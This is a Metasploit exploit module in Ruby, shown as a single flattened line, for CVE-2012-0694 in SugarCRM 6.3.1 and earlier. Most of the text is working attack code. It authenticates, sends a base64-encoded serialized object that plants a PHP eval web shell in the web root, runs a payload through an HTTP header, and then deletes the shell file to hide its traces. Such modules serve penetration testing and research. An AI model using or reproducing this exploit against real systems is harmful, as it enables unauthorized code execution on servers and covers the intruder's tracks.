1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution', 'Description'=> %q{ This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1 which could be abused to allow authenticated SugarCRM users to execute arbitrary code with the permissions of the webserver. The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php' script, which is called with user controlled data from the 'current_query_by_page' parameter. The exploit abuses the __destruct() method from the SugarTheme class to write arbitrary PHP code to a 'pathCache.php' on the web root. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision$', 'References' => [ [ 'CVE', '2012-0694' ], [ 'EDB', '19381' ], [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload'=> { 'DisableNops' => true, }, 'Targets'=> [ ['Automatic', { }], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 23 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]) ], self.class) end def on_new_session(client) if client.type == "meterpreter" f = "pathCache.php" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin client.fs.file.rm(f) print_good("#{@peer} - #{f} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] password = datastore['PASSWORD'] # Can't use vars_post because it'll escape "_" data = "module=Users&" data << "action=Authenticate&" data << "user_name=#{username}&" data << "user_password=#{password}" res = send_request_cgi( { 'uri'=> "#{base}index.php" , 'method' => "POST", 'headers' => { 'Cookie'=> "PHPSESSID=1", }, 'data' => data }) if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie'] print_error("#{@peer} - Login failed with \"#{username}:#{password}\"") return end if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 else print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)") return end print_status("#{@peer} - Login successful with #{username}:#{password}") data = "module=Contacts&" data << "Contacts2_CONTACT_offset=1&" data << "current_query_by_page=" #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";} data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30=" print_status("#{@peer} - Exploiting the unserialize()") res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'POST', 'headers' => { 'Cookie'=> "PHPSESSID=#{session_id};", }, 'data' => data }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}") return end print_status("#{@peer} - Executing the payload") res = send_request_cgi( { 'method' => 'GET', 'uri'=> "#{base}pathCache.php", 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end |